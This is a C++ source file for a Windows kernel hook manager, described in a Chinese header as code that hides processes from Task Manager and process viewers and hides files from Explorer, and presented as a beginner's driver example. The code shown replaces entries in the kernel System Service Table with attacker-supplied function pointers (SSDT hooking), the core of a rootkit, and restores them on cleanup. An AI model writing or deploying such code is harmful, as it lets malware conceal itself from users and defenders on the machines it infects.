hookmng.cpp

实现了隐藏进程,使进程对任务管理器和进程查看器均不可见,使文件对资源管理器不可见 是驱动编程入门的好例子

#include "HookMng.h"

void HookMng::ClearHooks()
{
	mHooksDeque.clear();

	Hook tempHook;
	for(size_t i=0;i < mHooksInfo.size() ; ++i)
	{
		tempHook.mFuncSST_ID = mHooksInfo[i].mFuncSST_ID;
		// Replacing true function ptr with new function ptr
		tempHook.mpNewFuncPtr = mHooksInfo[i].mpTrueFuncPtr;
		tempHook.mpTrueFuncPtr = mHooksInfo[i].mpNewFuncPtr;

		// Calling HookInstalling
		QueueHook(tempHook);
	}
	
	ApplyQueuedHooks();
	
	mHooksInfo.clear();
}

bool HookMng::QueueHook(IN Hook& refHook)
{
	mHooksDeque.push_back(refHook);
	return true;
}
bool HookMng::ApplyQueuedHooks()
{
	return ExSetHook<HookMng>(*this,&HookMng::ExApplyQueuedHooks);
}
void HookMng::ExApplyQueuedHooks()
{
	Hook *pHook = NULL;
	while(!mHooksDeque.empty())
	{
		pHook = &(mHooksDeque.front());
		// Saving previous address of function in SST
		pHook->mpTrueFuncPtr = pNtoskrnl->ServiceTable[pHook->mFuncSST_ID];
		// Replacing true function ptr by new function ptr in SST
		pNtoskrnl->ServiceTable[pHook->mFuncSST_ID] = pHook->mpNewFuncPtr;
		
		mHooksInfo.push_back(*pHook);
		
		mHooksDeque.pop_front();
	}
}
void HookMng::CleanQueuedHooks()
{
	mHooksDeque.clear();
}